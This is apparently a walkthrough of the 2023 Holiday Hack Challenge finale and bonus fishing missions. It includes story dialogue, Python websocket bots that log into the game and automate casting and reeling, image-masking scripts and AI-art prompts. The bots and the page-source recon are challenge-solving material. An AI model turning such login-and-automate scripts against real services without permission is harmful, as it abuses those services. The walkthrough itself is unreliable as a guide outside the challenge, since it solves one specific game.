๐Ÿ† Objective: Return to Rudolphโ€™s Rest Resort Lobby

โ›ต Destination: Christmas Island (Resort Lobby)

โœ”๏ธ Solution: Return to Rudolphโ€™s Rest Resort Lobby and talk to Santa

  • โ„๏ธ Quick travel to Resort Lobby on Christmas Island which was unlocked after entering it at the end of Azure 101
  • โ„๏ธ Talk to Santa, the Trolls, and Jack Frost

๐Ÿ’ฌ Santa Conversation:

You've done it! You've saved me and my sleigh from Jack Frost's dastardly plan!
I must admit, it's astonishing the lengths Jack will go to in order to try and stop the holiday season.
Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.
And to think he even recruited one of my dear elves... I never saw that coming. Oh, Wombley...
But thanks to your incredible efforts, we've proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!
I can't thank you enough for your help in protecting the magic and joy of this special time of year.
I'd like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.
Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!
Ho ho ho, happy holidays!

๐Ÿ’ฌ Troll Conversation:

Thank you so much!
We assure you and Santa Clause that Jack Frost will be brought to justice!

๐Ÿ’ฌ Jack Frost Conversation:

Okay, listen up, yes I've been caught, but let me tell you, my plan was incredible, I mean really incredible.
I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.
My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.
I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa's operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.
And Wombley, the elf, joining me? Easy. He was so easy to convince.
You see, there's a big, big dissent in Santa's ranks, huge.
The elves, they're not happy with Santa.
Mark my words, even if I don't stop Santa, his own elves will.
It's going to be tremendous, this you will see.

๐Ÿ’ฌ Story:

Just sit right back and youโ€™ll hear a tale,
A tale of a yuletide trip
That started from a tropic port,
Aboard this tiny ship
Santa and his helpful elves
To Geese Islands did go
Continuing their merry work
O'er sand instead of snow
New this year: a shiny tool
The elves logged in with glee
What makes short work of many tasks?
It's ChatNPT. _It's ChatNPT_
From images to APIs
This AI made elves glad
But motivations were unknown
So was it good or bad?
Could it be that NPT
Was not from off-the-shelf?
Though we'll forgive and trust again
We'd found a naughty elf
This fancy AI tool of ours
With all our work remained
Not good or bad, our online friend
Just did as it was trained
Surely someone's taint must be
Upon our AI crutch
Yes indeed, this bold new world
Bore Jack Frost's icy touch
Though all's returned to steady state
There's one thing that we know
We'll all be needed once again
When Santa's back on snow

๐Ÿ’ก Breakdown:

Quick travel to Resort Lobby on Christmas Island and talk to everyone to uncover Jack was the mastermind behind it all, including convincing Santa and the elves to go to the Geese Islands!

Screenshot

๐ŸŽ… BONUS! Fishing Guide ๐ŸŽ„

๐Ÿ† Objective: Catch twenty different species of fish that live around Geese Islands. When youโ€™re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

โ›ต Destination: Island of Misfit Toys (Squarewheel Yard) and The Grand Line (Open Seas)

โœ”๏ธ Solution: Catch 20 different species of fish and talk to Poinsettia McMittens.

  • โ„๏ธ Quick travel to Squarewheel Yard on the Island of Misfit Toys and talk to Poinsettia McMittens by the dock
  • โ„๏ธ Begin sailing on the Open Seas and hold SPACE to drop your anchor
  • โ„๏ธ Click on Cast Line and then when Reel it in! is in red click on it to catch a fish
  • โ„๏ธ Repeat another 19 times and talk to Poinsettia McMittens

๐Ÿ’ก Breakdown:

Quick travel to Squarewheel Yard on the Island of Misfit Toys and talk to Poinsettia McMittens by the dock.

Screenshot

Begin sailing on the Open Seas and hold SPACE to drop your anchor.

Screenshot

Click on Cast Line and then when Reel it in! is in red click on this to catch a fish.

Screenshot

Repeat this process randomly in water and return to Poinsettia McMittens to solve the challenge.

๐ŸŽ… BONUS! Fishing Mastery ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Catch at least one of each species of fish that live around Geese islands. When youโ€™re done, report your findings to Poinsettia McMittens.

โ›ต Destination: Island of Misfit Toys (Squarewheel Yard) and The Grand Line (Open Seas)

โœ”๏ธ Solution: Catch all 171 different species of fish.

  • โ„๏ธ Discover where different fish are located by viewing the website source
  • โ„๏ธ Use ChatGPT to locate the elusive fish and highlight fish hot spots
  • โ„๏ธ Understand the Holiday Hack Challenge websocket messages
  • โ„๏ธ Use ChatGPT to create a script template that interacts with a websocket
  • โ„๏ธ Build out a fishing script using the Holiday Hack Challenge websocket endpoints
  • โ„๏ธ Move boat and catch a fish with the websocket. Repeat this process until only a small amount of fish remain.
  • โ„๏ธ Use ChatGPT and/or photo editing software create a map where remaining fish can be found
  • โ„๏ธ Modify script and catch remaining fish

๐Ÿ’ก Breakdown:

Inspecting the website source when on the open seas shows a developer comment linking to fishdensityref.html.

Screenshot

This provides a mask for every individual fish and where they can be found. Of particular note is the fish Piscis Cyberneticus Skodo which can only be found in one area as evident by the light mask.

Screenshot

Given this hasnโ€™t been overlayed with the Geese Islands map itโ€™s not clear whereabouts this elusive fish can be found. Given each mask is exactly 250x250 pixels, a screenshot of the map using these measurements can be a base to gather the approximate position of this fish.

Screenshot

Although this could be done in a photo editing software like GIMP, it can also be done using Python. Having ChatGPT around makes the task easier, but failing to give adequate context and correct prompting may lead to some hallucinations and scripting errors that need refining. In this instance I never gave the proper context nor background to ChatGPT using GPT 3.5, and the conversation was as follows:

Screenshot

Screenshot

Screenshot

from PIL import Image

def mask_images(input_image_path, mask_image_path, output_image_path):
    # Open the input image
    input_image = Image.open(input_image_path).convert("RGBA")

    # Open the mask image (it should be a black and white image for transparency)
    mask_image = Image.open(mask_image_path).convert("L")  # Convert to grayscale

    # Ensure both images have the same size
    if input_image.size != mask_image.size:
        raise ValueError("Input and mask images must have the same size")

    # Create a new image with RGBA mode and use the mask as the alpha channel
    result = Image.new("RGBA", input_image.size)
    result.putdata(input_image.getdata())
    result.putalpha(mask_image)

    # Save the result
    result.save(output_image_path, format='PNG')

if __name__ == "__main__":
    # Replace these paths with the actual paths of your images
    input_image_path = "map.jpg"
    mask_image_path = "mask_image.jpg"
    output_image_path = "output_image.jpg"

    # Call the function to mask the images
    mask_images(input_image_path, mask_image_path, output_image_path)

    print(f"Image masking complete. Result saved to {output_image_path}")
pip install Pillow
chmod +x masking.py
python3 ./masking.py

Running this script with the correct file names shows the elusive fish lives around the neck and head area of Steampunk Island.

Screenshot

Itโ€™s worth noting that there was no guide on where to start and stop the map screenshot, and so this could be slightly north, south, east, or west than what is shown on the map mask. It happens to fit neatly around the enclave created in the island neck which may be the intended location.

In this instance I wanted to go a step further, so worked with ChatGPT to refine the script so it can overlay multiple masks to an image.

Screenshot

Although it looks impressive, the script had some issues.

Screenshot

At this point there was some strange results with masking, so I provided some clarifying context to ChatGPT.

Screenshot

ChatGPT was able to derive enough context from this clarification and outcome to refine the script some more.

Screenshot

Not wanting to have to rename variables every time I asked ChatGPT to refine the script, it was given the correct variable names. Itโ€™s worth noting the hallucination here due to lack of clarity where it successfully sets the variable input_image_path to map.jpg, but then also completely renames it from input_image_path to map_path.

Screenshot

Finally ChatGPT makes a final adjustment which creates an (albeit not perfect), workable solution to find hot spots for multiple fish.

Screenshot

ChatGPT can also be used to automate fishing through the Holiday Hack Challenge websocket despite having never looked at these websockets before.

Screenshot

Once again no context was given to ChatGPT so the script required some fine tuning.

Screenshot

After some more fine tuning the script was finally something reasonable to work with.

Screenshot

Examining traffic to and from websockets shows an initial connection is made to wss://2023.holidayhackchallenge.com/ws to authenticate a user by sending an authentication message in the form

{"type":"WS_LOGIN","usernameOrEmail":"[USERNAME]","password":"[PASSWORD]"}.

Upon going to sea thereโ€™s a connection to a new websocket wss://2023.holidayhackchallenge.com/sail with a specific dockSlip identifier.

Screenshot

Building this into a full functioning script, ensure you authenticate to the Holiday Hack Challenge main web socket, before sending a messsage indicating youโ€™ve set sail, retrieving the appropriate dockSlip identifier, and then sending this to the new web socket which can then be used for fishing.

import asyncio
import requests
import websockets
import json
import re
import sys
from getpass import getpass

async def connect_to_websocket(username,password):
    uri = "wss://2023.holidayhackchallenge.com/ws"  # Replace with your WebSocket server URL

    async with websockets.connect(uri) as websocket:
        print(f"Connected to {uri}")

        # Sending a message to the server
        message_to_send = '{"type":"WS_LOGIN","usernameOrEmail":'+'\"'+username+'\","password":\"'+password+'\"}'
        await websocket.send(message_to_send)
        response = await websocket.recv()
        print(f"Received: {response}")

        while True:
            message_to_send = '{"type":"heartbeat"}'
            await websocket.send(message_to_send)
            print(f"Sent: {message_to_send}")
            response = await websocket.recv()
            print(f"Received: {response}")
            if ('WS_OHHIMARK' in response):
                message_to_send = '{"type":"setSail"}'
                print(f"Sent: {message_to_send}")
                await websocket.send(message_to_send)
                response = await websocket.recv()
                print(f"Received: {response}")
            if ('SET_SAIL' in response):
                data = json.loads(response)
                print(data['dockSlip'])
            if ('PUSH_NAVIGATION' in response):
                uri = "wss://2023.holidayhackchallenge.com/sail?dockSlip="+data['dockSlip']  # Replace with your WebSocket server URL
                async with websockets.connect(uri) as websocket2:
                    print("Connected to fishing socket!")
                    message_to_send = "cast"
                    await websocket2.send(message_to_send)
                    while True:
                       message_to_send = '{"type":"heartbeat"}'
                       await websocket.send(message_to_send)
                       response = await websocket2.recv()
                       if ("onTheLine" in response):
                           data = json.loads(response[11:-1])
                           if (data['onTheLine']):
                               message_to_send="reel"
                               await websocket2.send(message_to_send)
                               fish_on_line = data['onTheLine']
                               print(f"Fish on the line: {fish_on_line}")
                       if ("fishing" and "canFish" and "onTheLine" in response):
                           data = json.loads(response[11:-1])
                           if not (data['fishing'] and data['canFish']):
                              message_to_send = "cast"
                              await websocket2.send(message_to_send)
                              #print(f"Sent: {message_to_send}") 

if __name__ == "__main__":
    username = input('Enter Username:\n')
    password = getpass()
    asyncio.get_event_loop().run_until_complete(connect_to_websocket(username,password))

Once connected the script above proceeds to cast the rod, and upon receiving a message mentioning a fish is onTheLine, it will reel it in and print the fish name. The process will continue indefinitely ensuring that both sockets remain active.

Screenshot

By logging into the game, moving the boat, and then running the script again, a large amount of fish can be caught by targeting the hot spots identified previously. The game also sends back a list called fishCaught noting already caught fish which makes identifying ones of interest easier (in this instance when Iโ€™d reached 168 fish).

To compare already caught fish to the fish remaining, a script was devised with ChatGPT to get the names of all fish based on their mask files into a sorted array.

Screenshot

Screenshot

After retrieving this array a simple script was developed to compare 2 sets of data and determine what fish were still remaining.

list2 = set(['Aquatic JellyPuff Doughnut Shark', 'Bellychuckle Balloonfish', 'Biscuit Bugle-Tail Fish', 'Blibbering Blubberwing', 'Bubblegum Ballistic Barracuda', 'Bubblegum Blowfish Beetle Bug', 'Bubblegum Blowfish-Bee', 'Bubblegum Bumblefin', 'Bubblerooni WhiskerWaffle', 'BugBrella Aquacake', 'BumbleSquid Donutella', 'Bumblebee, Pizza-fin Jamboree', 'Bumbleberry Floatfish', 'Bumbleberry Gilled Glider', 'Bumbleberry Glitterfin', 'Bumbleberry Poptarticus', 'Bumbleberry Rainbow Flicorn Fish', 'Bumbleberry Snorkelsnout', 'Bumblecado Finstache Hybridsail', 'Bumblefin Toffee Torpedo', 'Candyfloss Clownphino', 'Caramelotus Humming Float', 'Choco-Bumblefin Parrot Trout', 'ChocoSeahorsefly', 'Chucklefin Clownfish', 'Confetti Clownfrippery Fish', 'Cuckoo Bubblegum Unicornfish', 'Dandy Candy Goby', 'Fantabulous Fry-Sherbert Aquapine', 'Fantabulous Rainbow Polka Poptartfish', 'Fantail Flutterfin', 'Fantaray Flakefin', 'Fantasia Fluffernutter Finfish', 'Fantastical Flapjack Flipperfin', 'Fantastical Fusilloni Flounderfish', 'Fizzgiggle Frizzlefin', 'FizzleWing PuffleGill', 'Flamango-Buzzling Sushi Swimmer', 'Flamingo Flapjack Finaticus', 'Flippity Flan Flopper', 'Fluffernutter Pufferpine', 'Fluffle-Muffin Sparklefin', 'Flutterfin Bubblegum Gumball', 'Flutterfin Cupcake Goby', 'Flutterfin Falafeluncher', 'Flutterfin Hotcheeto Penguinfish', 'Flutterfin Pancake Puffer.', 'Flutterfin Pizzacrust Glimmertail', 'Flutterfin Pizzapuffer', 'Flutterfin Rainbow-Roll', 'Flutterfin Scoopscale', 'Flutterglaze Bumblefin', 'Frizzle Fish', 'Frizzle Frazzle Fly-n-Fish', 'Frizzle Fringe Flutterfin', 'Frizzle-Frizzled Jambalaya Jellyfish', 'Frizzleberry Flapjack Fish', 'Frizzling Bubblehopper', 'Frosted Donut Jellyfluff Puffer', 'Frosted Jelly Doughnut Pegasus Finfish', 'Funfetti Flick-Flick', 'Gelatina Ringletfin', 'Gelatino Floatyfin', 'Glaze Meringuelle', 'Glittering Gummy Guppy', 'Glittering Gummy Whipray', 'Gumball Glooperfish', 'Gumball Guppygator', 'Gumbubble Guppy', 'Gummy Fizzler', 'Gummybrella Anemofin', 'Hatwearing Hippofish', 'Jamboree Jellofish', 'Jamboree Jellydonut Jellyfish Trout', 'Jamboree Jellywing', 'Jangleroo Snackfin', 'Jelly-Feather Macaroon Guppy', 'JellyChip CuddleSwimmer', 'Jester Gumball Pufferfish', 'JibberJelly Sundae Swimmer', 'Jingle JellyFroth Fish', 'Jinglefin Jellyfrizzle', 'Jolly Jambalaya Jubilee Fish', 'Jolly Jellydozer', 'Jolly Jellyjam Fish', 'Jolly Jellypeanut Fish', 'Jovian Jamboree Jellydonut Jellyfish', 'JubiliFLOPinear Snorkeldonut', 'Laughter Ligrolomia', 'Lounging Liquorice Crustacean-Nosed Berryfin', 'Marshmallow Pogo-Starfish', 'Marzipoisson Popsicala', 'Mermacorn Fish', 'Oreo OctoPufferRock', 'Piscis Cyberneticus Skodo', 'Pistachio Pizzafin Puffinfly', 'Pizzadillo Glitter-Guppy', 'Pizzafin Flutterbub', 'Pizzafly Rainbowgill', 'Pizzamarine Popcorn Puffer', 'Plaid Zephyr Cuddlefin', 'Polka-Pop CandyFloss Fish', 'Polkadot Pancake Puffer', 'Pudding Puff ParrotMoth Fish', 'Puzzletail Splashcake', 'Rainbow Gummy Scalefish', 'Rainbow Jelly-Bumble Shark', 'Rainbow Jelly-Dough Fish', 'Rhinoceros Beetle Bumble Tuna', 'Sherbet Swooshfin', 'Sparkleberry Gobblefin', 'Sparkling Gumbubble Piscadot', 'Sparkling Pizzafin Pixie-fish', 'Speckled Toastfin Snorkelback', 'Splashtastic Bagelback Rainbownose', 'Splendiferous Ribbontail', 'Spotted Sprinkledonut Puffer', 'Sprinkfish', 'Sprinkle Starfish Sardine', 'Stripe-tailed Pepperoni Puffer', 'Strudel Scuttle Scalefish', 'Sushinano Sweetsquid', 'The Bubblegum Bumblefin', 'The Bubblegum Confeetish', 'The Bumblebee Doughnut Delphin', 'The Bumblebelly Polkadot Glaze-fish', 'The Bumbleberry Guppiesaurus', 'The Burgerwing Seahorse', 'The Butterfleagleberry Seahorse', 'The ChocoChandelier Goldnipper', 'The Chocolate Star Gingo Guppy', 'The Fantabulous Gala Glazed-Guppy', 'The Fantastical Fizzbopper', 'The Flamboyant Flutter-fish', 'The Flamingotuna McSprinklefin', 'The Flutterfin Pastry Puffer', 'The Frambuzzle Flickerfin', 'The Gumball Guppy', 'The Hummingbrewster BumbleFlish', 'The Jester Jellycarafe', 'The Lucid Lollyscale', 'The Polka Dotted Jello-fish', 'The Polka-Dot Pudding Puff', 'The Polka-Dot-Propeller Puffling Fish', 'The Pristimaela Parfait Pengu-Angel', 'The Rainbow Jelibelly Floatfish', 'The Spangled Jelly-Tortle Ripplefin', 'The Speckled Pizzafin Fizzflyer', 'The Speckled Whisker-Spoon Puffer', 'The Splendiferous Spaghetti Seahorsicle', 'The Splendiferous Spaghetti Starfin', 'The Spotted Flutterfin Pastrytetra', 'The Whirling Donut Jellygator', 'The Whiskered Blubberberry Flapper', 'The Whiskered Melonfin', 'The Whiskered Watermelon Pufferfish', 'TruffleBugle ZephyrFish', 'Twinkling Tortellini Trouterfly', 'Twirly Finny Cakeling', 'Whirlygig Polka-Dotted Jelly-Donut Pufferfish', 'Whiskered Jumblefish', 'Whiskered Lollipop Loonfish', 'Whiskered Rainbow Glidleberry', 'Whiskered Sprinkle Glider', 'Whiskered Whizzler', 'Whiskerfroth Flutterfin', 'Whistlefin Wafflegill', 'Whizzbizzle Poptuckle'])
list1 = set(['Aquatic JellyPuff Doughnut Shark', 'Beatleberry Fluff Guppy', 'Bellychuckle Balloonfish', 'Biscuit Bugle-Tail Fish', 'Blibbering Blubberwing', 'Bubblegum Ballistic Barracuda', 'Bubblegum Blowfish Beetle Bug', 'Bubblegum Blowfish-Bee', 'Bubblegum Bumblefin', 'Bubblerooni WhiskerWaffle', 'BugBrella Aquacake', 'BumbleSquid Donutella', 'Bumblebee, Pizza-fin Jamboree', 'Bumbleberry Floatfish', 'Bumbleberry Gilled Glider', 'Bumbleberry Glitterfin', 'Bumbleberry Poptarticus', 'Bumbleberry Rainbow Flicorn Fish', 'Bumbleberry Snorkelsnout', 'Bumblecado Finstache Hybridsail', 'Bumblefin Toffee Torpedo', 'Candyfloss Clownphino', 'Caramelotus Humming Float', 'Choco-Bumblefin Parrot Trout', 'ChocoSeahorsefly', 'Chucklefin Clownfish', 'Confetti Clownfrippery Fish', 'Cuckoo Bubblegum Unicornfish', 'Dandy Candy Goby', 'Fantabulous Fry-Sherbert Aquapine', 'Fantabulous Rainbow Polka Poptartfish', 'Fantail Flutterfin', 'Fantaray Flakefin', 'Fantasia Fluffernutter Finfish', 'Fantastical Flapjack Flipperfin', 'Fantastical Fusilloni Flounderfish', 'Fizzgiggle Frizzlefin', 'FizzleWing PuffleGill', 'Flamango-Buzzling Sushi Swimmer', 'Flamingo Flapjack Finaticus', 'Flippity Flan Flopper', 'Fluffernutter Pufferpine', 'Fluffle-Muffin Sparklefin', 'Flutterfin Bubblegum Gumball', 'Flutterfin Cupcake Goby', 'Flutterfin Falafeluncher', 'Flutterfin Hotcheeto Penguinfish', 'Flutterfin Pancake Puffer.', 'Flutterfin Pizzacrust Glimmertail', 'Flutterfin Pizzapuffer', 'Flutterfin Rainbow-Roll', 'Flutterfin Scoopscale', 'Flutterglaze Bumblefin', 'Frizzle Fish', 'Frizzle Frazzle Fly-n-Fish', 'Frizzle Fringe Flutterfin', 'Frizzle-Frizzled Jambalaya Jellyfish', 'Frizzleberry Flapjack Fish', 'Frizzling Bubblehopper', 'Frosted Donut Jellyfluff Puffer', 'Frosted Jelly Doughnut Pegasus Finfish', 'Funfetti Flick-Flick', 'Gelatina Ringletfin', 'Gelatino Floatyfin', 'Glaze Meringuelle', 'Glittering Gummy Guppy', 'Glittering Gummy Whipray', 'Gumball Glooperfish', 'Gumball Guppygator', 'Gumbubble Guppy', 'Gummy Fizzler', 'Gummybrella Anemofin', 'Hatwearing Hippofish', 'Jamboree Jellofish', 'Jamboree Jellydonut Jellyfish Trout', 'Jamboree Jellywing', 'Jangleroo Snackfin', 'Jelly-Feather Macaroon Guppy', 'JellyChip CuddleSwimmer', 'Jester Gumball Pufferfish', 'Jester Jellyfin', 'JibberJelly Sundae Swimmer', 'Jingle JellyFroth Fish', 'Jinglefin Jellyfrizzle', 'Jolly Jambalaya Jubilee Fish', 'Jolly Jellydozer', 'Jolly Jellyjam Fish', 'Jolly Jellypeanut Fish', 'Jovian Jamboree Jellydonut Jellyfish', 'JubiliFLOPinear Snorkeldonut', 'Laughter Ligrolomia', 'Lounging Liquorice Crustacean-Nosed Berryfin', 'Marshmallow Pogo-Starfish', 'Marzipoisson Popsicala', 'Mermacorn Fish', 'Oreo OctoPufferRock', 'Piscis Cyberneticus Skodo', 'Pistachio Pizzafin Puffinfly', 'Pizzadillo Glitter-Guppy', 'Pizzafin Flutterbub', 'Pizzafly Rainbowgill', 'Pizzamarine Popcorn Puffer', 'Plaid Zephyr Cuddlefin', 'Polka-Pop CandyFloss Fish', 'Polkadot Pancake Puffer', 'Pudding Puff ParrotMoth Fish', 'Puzzletail Splashcake', 'Rainbow Gummy Scalefish', 'Rainbow Jelly-Bumble Shark', 'Rainbow Jelly-Dough Fish', 'Rhinoceros Beetle Bumble Tuna', 'Sherbet Swooshfin', 'Sparkleberry Gobblefin', 'Sparkling Gumbubble Piscadot', 'Sparkling Pizzafin Pixie-fish', 'Speckled Toastfin Snorkelback', 'Splashtastic Bagelback Rainbownose', 'Splendiferous Ribbontail', 'Spotted Sprinkledonut Puffer', 'Sprinkfish', 'Sprinkle Starfish Sardine', 'Stripe-tailed Pepperoni Puffer', 'Strudel Scuttle Scalefish', 'Sushinano Sweetsquid', 'The Bubblegum Bumblefin', 'The Bubblegum Confeetish', 'The Bumblebee Doughnut Delphin', 'The Bumblebelly Polkadot Glaze-fish', 'The Bumbleberry Guppiesaurus', 'The Burgerwing Seahorse', 'The Butterfleagleberry Seahorse', 'The ChocoChandelier Goldnipper', 'The Chocolate Star Gingo Guppy', 'The Fantabulous Gala Glazed-Guppy', 'The Fantastical Fizzbopper', 'The Flamboyant Flutter-fish', 'The Flamingotuna McSprinklefin', 'The Flutterfin Pastry Puffer', 'The Frambuzzle Flickerfin', 'The Gumball Guppy', 'The Hummingbrewster BumbleFlish', 'The Jester Jellycarafe', 'The Lucid Lollyscale', 'The Polka Dotted Jello-fish', 'The Polka-Dot Pudding Puff', 'The Polka-Dot-Propeller Puffling Fish', 'The Pristimaela Parfait Pengu-Angel', 'The Rainbow Jelibelly Floatfish', 'The Spangled Jelly-Tortle Ripplefin', 'The Speckled Pizzafin Fizzflyer', 'The Speckled Whisker-Spoon Puffer', 'The Splendiferous Spaghetti Seahorsicle', 'The Splendiferous Spaghetti Starfin', 'The Spotted Flutterfin Pastrytetra', 'The Whirling Donut Jellygator', 'The Whiskered Blubberberry Flapper', 'The Whiskered Melonfin', 'The Whiskered Watermelon Pufferfish', 'TruffleBugle ZephyrFish', 'Twinkling Tortellini Trouterfly', 'Twirly Finny Cakeling', 'Whirly Snuffleback Trout', 'Whirlygig Polka-Dotted Jelly-Donut Pufferfish', 'Whiskered Jumblefish', 'Whiskered Lollipop Loonfish', 'Whiskered Rainbow Glidleberry', 'Whiskered Sprinkle Glider', 'Whiskered Whizzler', 'Whiskerfroth Flutterfin', 'Whistlefin Wafflegill', 'Whizzbizzle Poptuckle'])
print(list1-list2)

This resulted in 3 fish of interest.

root@mintsec:~/Desktop/Kringlecon2023# python3 ./comparing.py 
{'Beatleberry Fluff Guppy', 'Jester Jellyfin', 'Whirly Snuffleback Trout'}

Refining the script slightly to account for this, only once the fish of interest were caught would they be displayed. This made leaving the script idle an easy way to catch the required fish.

import asyncio
import requests
import websockets
import json
import re
import sys
from getpass import getpass

async def connect_to_websocket(username,password):
    uri = "wss://2023.holidayhackchallenge.com/ws"  # Replace with your WebSocket server URL

    async with websockets.connect(uri) as websocket:
        print(f"Connected to {uri}")

        # Sending a message to the server
        message_to_send = '{"type":"WS_LOGIN","usernameOrEmail":'+'\"'+username+'\","password":\"'+password+'\"}'
        await websocket.send(message_to_send)
        response = await websocket.recv()
        print(f"Received: {response}")

        while True:
            message_to_send = '{"type":"heartbeat"}'
            await websocket.send(message_to_send)
            print(f"Sent: {message_to_send}")
            response = await websocket.recv()
            print(f"Received: {response}")
            if ('WS_OHHIMARK' in response):
                message_to_send = '{"type":"setSail"}'
                print(f"Sent: {message_to_send}")
                await websocket.send(message_to_send)
                response = await websocket.recv()
                print(f"Received: {response}")
            if ('SET_SAIL' in response):
                data = json.loads(response)
                print(data['dockSlip'])
            if ('PUSH_NAVIGATION' in response):
                uri = "wss://2023.holidayhackchallenge.com/sail?dockSlip="+data['dockSlip']  # Replace with your WebSocket server URL
                async with websockets.connect(uri) as websocket2:
                    message_to_send = "cast"
                    await websocket2.send(message_to_send)
                    #print(f"Sent: {message_to_send}")
                    fish_list = ['Beatleberry Fluff Guppy', 'Jester Jellyfin', 'Whirly Snuffleback Trout']
                    while True:
                       response = await websocket2.recv()
                       if ("onTheLine" in response):
                           data = json.loads(response[11:-1])
                           length = len(data['fishCaught'])
                           #for item in data['fishCaught']:
                           #    fish_list.append(item['name'])
                           #print(sorted(set(fish_list)))
                           #print(f"Caught Fish: {length}")
                           if (data['onTheLine']):
                               fish_on_line = data['onTheLine']
                               if fish_on_line in fish_list:
                                   print(f"Fish on the line: {fish_on_line}")
                               message_to_send="reel"
                               await websocket2.send(message_to_send)
                               #print(f"Sent: {message_to_send}") 
                       if ("fishing" and "canFish" and "onTheLine" in response):
                           data = json.loads(response[11:-1])
                           if not (data['fishing'] and data['canFish']):
                              message_to_send = "cast"
                              await websocket2.send(message_to_send)
                              #print(f"Sent: {message_to_send}") 

if __name__ == "__main__":
    username = input('Enter Username:\n')
    password = getpass()
    asyncio.get_event_loop().run_until_complete(connect_to_websocket(username,password))

Returning to Poinsettia McMittens completes the final mission.

Screenshot

This also results in a beautiful Pescadex where all fish have been caught.

Screenshot

Screenshot

Screenshot

Screenshot

โ“ Secrets and ๐Ÿฅš Easter Eggs/References

๐ŸŸ Jason is a fish

Along the beach of Coggoggle Marina on Steampunk Island a fish can be found on the beach. This is in fact Jason this year, soaking up the sun!

Screenshot

๐Ÿ”ฎ Gotta catch emโ€™ all

Throughout the bonus fishing mission is reference to a Pescadex. This is a play on words to the famous Pokรฉdex which keeps track of species of Pokรฉmon in the famous video game and tv series Pokรฉmon.

๐Ÿ”ฎ The Titanic

Within Geese Islands is a number of advertisements which come up in-game, one of which has the name rek.jpg shown below. This is titled GEESE ISANDS IN THE PACIFIC, and appears to be paying homage to the wreck of the Titanic which sunk in the Pacific ocean.

Screenshot

๐Ÿ”ญ Space Telescope

At Cape Cosmic Inside Fence on Space Island is a telescope that can be interacted with.

Screenshot

Zooming in enough you can see Jack Frostโ€™s satellite in the sky before completing Camera Access.

Screenshot

Upon completing Camera Access the telescope now shows Jack Frost looking out the window.

Screenshot

This is then gone upon completing Diversion and seeing Jack crash back down to Earth.

๐Ÿค– AI Generated Artwork

As a bit of fun we can leverage Stable Diffusion and a ML model such as DreamShaper to envision Jack Frost, Santa, his elves, and some of the various other inhabitants of Geese Islands in a totally new way.

Santa

Screenshot

Screenshot

Jack Frost

Screenshot

Screenshot

Jingle Ringford

Screenshot

Screenshot

Goose of Christmas Island

Screenshot

Screenshot

Morcel Nougat

Screenshot

Screenshot

Ginger Breddie and Bow Ninecandle (Yes theyโ€™re identical!)

Screenshot

Screenshot

Elf the Dwarf

Screenshot

Screenshot

Chimney Scissorsticks

Screenshot

Screenshot

Henry

Screenshot

Screenshot

Prompt:

Smiling chibi green cute boy elf who is wearing orange clothes. cute elf is holding a tool. 4k, HD, realistic lighting, cute starlike anime eyes, green skin  
Negative prompt: mutant, belt, stick, leaf, pink, girl, knife, beanie, white, long hair, sideburn, outline, blue  
Steps: 31, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4

Wombley Cube

Screenshot

Screenshot

Prompt:

Frowning matte green alien male elf with no hair except a very short white beard who is wearing white clothes and long pink pants. Elf has a purple beanie. 4k, HD, green lighting, eyes, purple belt.
Negative prompt: sword, lady, mutant
Steps: 30, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4

Alabaster Snowball

Screenshot

Screenshot

Prompt:

christmas matte purple alien male with round glasses and no hair except a very short white beard who is wearing green clothes and green pants. male has a green beanie. 4k, HD, green lighting, eyes. green pants
Negative prompt: sword, lady, mutant, blue pants, button, trousers
Steps: 30, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4

๐Ÿ“ Final Notes

Iโ€™d like to close by giving my thanks to this yearโ€™s speakers, HHC Team, challenge developers, and other members of the concierge team, in addition to giving my congratulations to those who made it through the challenges presented this year.